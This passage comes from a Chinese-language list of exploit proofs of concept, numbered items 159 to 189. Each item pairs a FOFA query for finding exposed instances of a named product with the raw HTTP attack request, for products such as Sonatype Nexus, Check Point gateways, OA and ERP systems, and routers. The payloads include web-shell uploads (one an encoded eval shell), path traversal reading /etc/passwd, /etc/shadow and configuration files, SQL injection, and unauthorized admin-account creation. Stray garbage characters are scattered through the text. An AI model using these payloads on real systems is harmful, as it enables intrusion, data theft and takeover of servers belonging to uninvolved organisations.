" L  U) i4 S* l<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
: i# W& p) ]- v/ g, P1 T$ Q4 `</jobUpload>
$ p$ i- j) ~/ H2 S$ z</soap:Body>
</soap:Envelope>

* B7 T" `/ j% s2 B( _- O
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
* C8 p: p" L. F1 o! K6 d

160. Sonatype Nexus Repository 3目录遍历与文件读取
# A2 B  a7 T8 E- q* o' k+ gCVE-2024-4956
3 |) C. O6 {8 u* C" B/ r1 }4 m; J9 U1 @FOFA：title="Nexus Repository Manager"
. D5 ]1 R- B& d8 DGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
/ Z% }9 k! N7 ~! d+ M9 W1 `+ CUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
2 U& A1 _& d( f9 _+ {1 A$ SAccept: */*
% x5 c* u$ y  l% ~, f5 jAccept-Language: en
Accept-Encoding: gzip


! ?& a& }( Z+ R! W" _; @161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
6 j. u9 S+ }3 p: }4 S: w+ y+ D: tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
: n& c4 C" a0 W/ N& RContent-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip

# N) ~- L6 t/ z0 s4 {; V<?xml version="1.0" encoding="utf-8"?>
' n  c, K- n) d: w8 I<soap:Envelope xmlns:xsi="
5 Y; d0 x2 V7 z8 I, Bhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
& U5 `+ b9 y- y- R<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
, b  U6 \0 {: l8 X9 r; l</soap:Body>
</soap:Envelope>
7 I: g" c# U( d9 ]8 h# z

http://x.x.x.x/dizxdell.aspx
9 H4 l7 p' w5 W, ?0 S" L  W$ C
  y  G% \5 d1 R" M% n$ t162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
5 Q5 d. k8 S" b9 R2 |2 J& ]9 B9 M9 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
9 Y% Z. B1 }8 s5 x+ ]7 C7 H5 TContent-Length: 583
; V7 I, b) m( u6 xContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
( R+ D7 c  J, ~" vAccept-Encoding: gzip

  i7 ]5 I; I2 f# d$ _  I5 T  w------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
7 X( O+ u. ?/ p. E* e$ R
$ r9 j, B6 h  Y9 u  s, z# o2 r9 x: K<% response.write("ujidwqfuuqjalgkvrpqy") %>
6 H3 T8 z: |0 x------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
3 `# M" o* D  w' |; m0 A
upload
2 a  h0 v$ O  m- ~7 `4 \------WebKitFormBoundaryeegvclmyurlotuey
% Q6 u& d2 b* hContent-Disposition: form-data; name="responderId"

ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
+ t# d8 {; i- }Content-Disposition: form-data; name="remotePath"
3 C: |6 z8 v1 _9 e: U. G
/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
4 Y1 B$ L. ?: E, g6 b

$ w: r. |; i2 K- Shttp://x.x.x.x/opt/resources/kjuhitjgk.aspx
# A3 m  X4 b! B/ T% j
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
) a( V! i+ p& T  ?0 \! `Host: x.x.x.x
6 ]2 C! F$ J$ i* d0 N1 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
, D. r$ V9 r  eContent-Length: 293
/ v7 @% K5 _* C; E' yAccept: */*
Accept-Encoding: gzip, deflate
$ K; }5 r2 |# _5 b$ o7 _9 UAccept-Language: zh-CN,zh;q=0.9
5 `# ]* I. L3 b& {6 lContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

) U) v; J" j% Z. H7 A5 S------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

# c1 }5 k* n9 p7 B1.php
2 M) {1 [3 a, ]. ^% [" E. G" f------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
5 A: F2 W' E* A! A9 ^$ m8 f
rvjhvbhwwuooyiioxega
" W- M- @% N. P7 g+ E- |------iiqvnofupvhdyrcoqyuujyetjvqgocod--
# J- [, r+ A: o7 C4 E$ f

164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
: Z% ~* q6 h4 m" p* zFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
# v6 H9 r6 Z! C# g% ^6 z, T7 LHost: x.x.x.x
" M! l* `3 }  R/ s! ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
$ B/ i& ]- y2 w7 y% K- ZContent-Length: 288
/ a) H  V1 E4 ^% oAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
7 m9 v8 L4 _( zContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
  @+ m+ |+ _! b* i3 ?Content-Type: image/jpeg
, P8 c5 g4 m9 t; s8 j5 b8 t
) \% \# i5 U2 E0 {' U<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
" a# u- K, }3 J* s------dqdaieopnozbkapjacdbdthlvtlyl--
4 L% _" T6 t! F6 w) f
: k( g2 @7 c& k8 T& ]( X; p; s/ V
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
5 r# C4 Z7 O, x8 J* |URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


# k6 E2 ]' z* o$ s" Y166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
/ I3 p$ G6 j: aUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
# X" I' l$ x* X' A& g4 HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
4 K' S0 X& D; `+ Q6 BCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
/ S- b: `/ `0 K- x9 N/ x2 y0 oConnection: close
8 E8 y$ q/ M8 W" ~! s7 |Content-Type: application/x-www-form-urlencoded
Content-Length: 89
! N3 G8 b/ Y8 G4 P0 w- l3 d9 B
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
2 N. c9 S  z+ e( A* U$ P  \; AGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
9 c- T/ r5 H' ]' J0 @( x0 tHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
7 ~0 b- ]% _- k5 [+ u. tAccept-Encoding: gzip, deflate
5 w3 ]2 R8 w* mAccept: */*
1 k' s. h* X/ x  ^. w( z; p( U) HConnection: keep-alive
/ O4 ~1 N  u$ Z+ m7 t0 O+ Q: y. U3 z

168. 宏景EHR OutputCode 任意文件读取
9 T/ r/ _! y9 t5 w2 d5 E: DFOFA：app="HJSOFT-HCM"
5 l, C9 Z! L) {- _' CGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
( V3 ~8 D  l1 d# dHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
0 q( q8 c% t8 [0 {% ?( IConnection: close


8 H8 I  _0 q! ?
169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
$ o% f) D" H" E6 I# _7 i2 aGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
2 `9 o# y8 v5 f& n( u7 ZHost: your-ip
" B/ j5 [; ~. YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' w: c7 Q7 H3 IAccept: */*
+ J, x5 O- e. ]6 p3 H- AAccept-Encoding: gzip, deflate
Connection: close
* w- V: [) v3 l1 s7 Y
! R" \+ I" l) _" b) H' |- D
) J8 a9 k& \2 x$ x8 p
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
; m2 A1 n* E1 T' F& C: Z4 u! HPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
7 @$ t8 a0 [$ p, r2 b! pHost: balalanengliang
; _' X# |$ e+ |* g  O: Z6 t4 `User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

3 I3 a0 ?- X4 }filename=../webapps/ROOT/WEB-INF/web.xml

+ c- `5 x) c8 u+ C2 I& z$ O+ n
171. 通天星CMSV6车载定位监控平台 SQL注入
7 J& Q5 ~, f) i) d+ C# l  FFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
* }5 _' B( t' WAccept: */*
/ Q2 D8 _0 A- j, w% @: ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  @' L7 S1 A% iAccept-Encoding: gzip, deflate
Connection: close

: F: }# f2 O5 r% [

* L" k7 f3 o% V172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
3 X8 d: B" \. A' ^4 CGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
7 c0 H0 o4 r6 [1 B1 d5 i; y( @# @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 d! C2 ~) g. e. Z' IAccept-Encoding: gzip, deflate
- F& G# D3 O$ @6 R" P: @1 {  bAccept: */*
% @+ W* \3 {+ {0 ?Connection: keep-alive
5 G6 c- r; E! o, L8 \


/ T* ]3 D1 \' m1 w+ D3 O  F  h( J173. Check Point 安全网关任意文件读取
CVE-2024-24919
: z# U! Y1 {- S+ f+ h  O0 AFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
# @* L+ ]1 P8 I4 n
$ c: A7 E0 _2 e" WaCSHELL/../../../../../../../etc/shadow
: O$ K$ d4 e5 ?' E3 A. t
# F& a$ M0 `; d
4 s: @2 b  \* X! T! S# [/ q
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
# n% k1 a# i: U+ IFOFA：app="金和网络-金和OA"
* R; A$ w9 j- N& L- k' R+ j/ SGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
. H/ h! c1 }8 g% h5 P/ XHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
) T/ r* U1 }# o  M+ QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 B3 n. Q; b! I+ W0 I7 v6 l! b2 jAccept-Encoding: gzip, deflate, br
6 i3 }" v7 y# O5 NAccept-Language: zh-CN,zh;q=0.9
Connection: close
, L2 L$ @# m& o9 z
8 Y- u+ R- S% j

* J6 u9 q5 Y# }8 ^0 A1 l* i175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
, f' y& I0 ~! S" lFOFA：app="金和网络-金和OA"
7 @0 r# G& m, u. K; jGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
6 r5 u7 m8 _5 a7 q' G7 p7 E4 D- ~7 f+ rHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
2 @- C. s  b3 s' E1 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# |3 r6 e( x, G% s& p* B, VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
) D; X/ ~! I5 U$ E  H: \Connection: close
Upgrade-Insecure-Requests: 1

* X: H* s: b6 w) g
176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
- `9 K. D' J+ R: q' lHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
6 h7 L  k) h, k# k7 i; }
, |% n/ X! H6 k------WebKitFormBoundaryOKldnDPT
7 p+ x1 U5 }& l# I; I! E; OContent-Disposition: form-data; name="tmp_name"; filename="test.php"
& u; \; N+ G3 ?$ tContent-Type: image/png
5 @# \9 w4 u5 I0 s: F
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
! V, u" ?% v! n  l, E5 uContent-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--
/ P% N) F1 [7 E, ]. @7 P
5 T0 A) j/ z2 z0 K' W* S. r
# [. L. \* x. x% L
177. H3C路由器敏感信息泄露
- z( k7 K+ g+ b/ Y6 D6 f' n' U/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
8 W* s/ C4 n0 k# s1 `& s, W( K( g: a: O8 Z/userLogin.asp/../actionpolicy_status/../M60.cfg
& \' Y8 C5 t% x: |. i/userLogin.asp/../actionpolicy_status/../GR8300.cfg
# \1 J2 Y4 R+ O/userLogin.asp/../actionpolicy_status/../GR5200.cfg
( U# e6 j7 X! E9 ]" i; P/userLogin.asp/../actionpolicy_status/../GR3200.cfg
7 n5 z% g: }/ a/userLogin.asp/../actionpolicy_status/../GR2200.cfg
1 I* Y% _- ~' C+ t, |/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
) H: Z; c- B( \- ~/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
0 P7 F& L# j: v( n' ]( Q: X- n/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
) J* ]2 r4 O/ \3 y" w/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
3 ^: H9 \; ]: p9 u- g" L. }/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
) \7 K  o& H6 p! B; Y/userLogin.asp/../actionpolicy_status/../ER3260.cfg
8 _0 K: }  e9 A4 q$ m7 T1 u8 ^/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
; g) c7 t7 r% z+ z! Y+ p( o3 A# g4 P2 |/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
$ P! y- o" l9 Q/ V/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
4 r% _$ I, k- B1 H; a/ G& j3 o  E/ F8 Z+ b/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

# s7 }8 L" G3 i% Y8 T
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
# _2 ?$ P) V, C0 x8 ^" I# RFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
( P+ w7 w8 E; bHost:
+ E; [2 J! g1 E3 Z" k2 ]& T, m5 S4 p8 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
! W0 H( S. N4 s. n9 h* aContent-Length: 252
8 G" L- k$ u3 zAccept-Encoding: gzip, deflate
6 A: a- Y3 x6 T0 S, ~Connection: close
3 g/ @+ T. F  l! s/ P) X. TContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
$ _( [) ~: d& E: q-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
. D5 f& @0 x- UContent-Length: 255
# S' C5 {) b7 G1 G2 z/ X( \
. ^3 a& v) h( M0 g6 S7 b12234
-----------------aqutkea7vvanpqy3rh2l--
" t6 p- t& _2 ~& U

# {3 o( M) g0 i, P$ q) a9 c- `7 p4 XGET /imc/primepush/%2e%2e/flex/12234.txt


179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
3 b1 u9 x: V( ?/ p. m5 e4 lHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

  N* j2 B, y" o, [% Ypath=../log4net.config&Name=
* T$ f/ x0 U9 h" g

6 n; ]4 I( N6 x* a180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
& r# \% e! p4 \- E6 i! {0 u3 Z- PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 Z5 _/ {; }5 O( X% b& s$ BAccept-Encoding: gzip, deflate
- D* ~9 K7 T' P  M5 Q  @6 F: @Accept-Language: zh-CN,zh;q=0.9
0 q6 E, D; Y4 b. @* r+ rConnection: close


% m/ f2 B' `6 C4 w181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
* g* V& o9 u6 ~: c0 rFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
9 ~8 H7 z) B/ U5 nHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" u5 S' H* h" ]/ x% Z" ~" ^: WAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
5 V8 g! ~1 k! A) m8 `Content-Type: application/x-www-form-urlencoded
6 _5 |( T1 d# B% ]7 Z

: w" }* L# V/ _0 ~; F! T. eaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
. [/ M* r/ R- ?3 ~. D  g  r

182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
5 K  B8 Z# s. GPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
4 o7 r( t0 d5 s  B1 zHost: your-ip
! `$ y6 g  q! J- @& C- XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ u9 P' u7 y9 S, u& N, w4 R0 f, r7 x1 LAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
; N. u: y  Y+ F7 M! ?# |: Y/ _3 WConnection: close
% Q/ J' C: p$ {- H4 \  ~( VContent-Type: application/x-www-form-urlencoded
) T9 F, J: }& C" U* R+ Z; o7 Q
+ z- g$ Q7 d$ I( {2 p& i
username=test1234&pwd=test1234&savedays=1


183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
% K1 y# H& S! c- d5 dHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
4 l0 v" U5 j1 ^, j7 ]3 l
3 W; q" u$ S  F3 |: Z6 s9 H
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
8 ~3 \( y" U! j. \9 E( ^Host: your-ip
( F" v3 S" v0 s$ }9 Y3 {Accept-Encoding: gzip, deflate
' V5 _% ?# a; Y3 c& R( s+ a: NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
3 y- f8 f  z; G8 p: X8 zAccept: application/xml, text/xml, */*; q=0.01
! B# Q; X9 F+ _& @" {% I! HContent-Type: text/xml; charset=utf-8
1 A6 _! e4 `4 @: W! `) w3 WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 F/ Y, r: R2 jX-Requested-With: XMLHttpRequest

4 F% {8 v+ h3 U, [+ f' F
% s/ I& p2 W) h# f  Pinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


185. 瑞友天翼应用虚拟化系统SQL注入
* I; s$ u3 |  s3 [version < 7.0.5.1
1 b9 G2 S: V% G+ m1 _) D3 ]FOFA：app="REALOR-天翼应用虚拟化系统"
; V5 y' T9 ~# O6 E1 @8 ZGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
3 C; q' f1 y6 n# Q$ pHost: host
9 i( J, G: l! y
5 q- P  x% f( W& n! p8 w1 U
186. F-logic DataCube3 SQL注入
CVE-2024-31750
* s2 O6 Z* X7 M+ }  e( s$ M' aF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
; {$ G! a0 _* t% MPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
! T0 S7 z& e3 I" i# S2 sHost: your-ip
! o$ o4 ^' u: d6 @- }- @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
# w& Z" m2 T: G' DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
3 B  {% r9 X; d1 k( vConnection: close
$ M/ G: s# `  F- t- `Content-Type: application/x-www-form-urlencoded

% d+ @$ ]' ^! w+ Ureq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
, b) o' L+ h& F  y! h

! P7 i3 q( [5 m! M* m: H6 k% Q; O  D187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
3 ~" O. T0 I6 j% V8 f8 w7 q, oContent-Type: application/x-www-form-urlencoded


object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
+ k* u; V, F  U$ ?! [

% k, E  M" f2 O5 e5 x188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
  ^3 j1 _. q7 M: kFOFA：body="/system/get_rtc_user_defined_info?site_id"
* Q, U* D( F" ?+ M6 }& P) [2 B5 G" LGET /attachment?file=/etc/passwd HTTP/1.1
  `. W( Y. i$ Y/ yHost: your-ip
( s! |- C- ^* W. E; K+ X, OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
3 p$ r& h9 M: R3 s, x" L" rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

8 W7 T' _' D$ D8 @1 r) `. M
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
5 {! |  ?; ~- y# @6 f* lFOFA：app="LANWON-临床浏览系统"
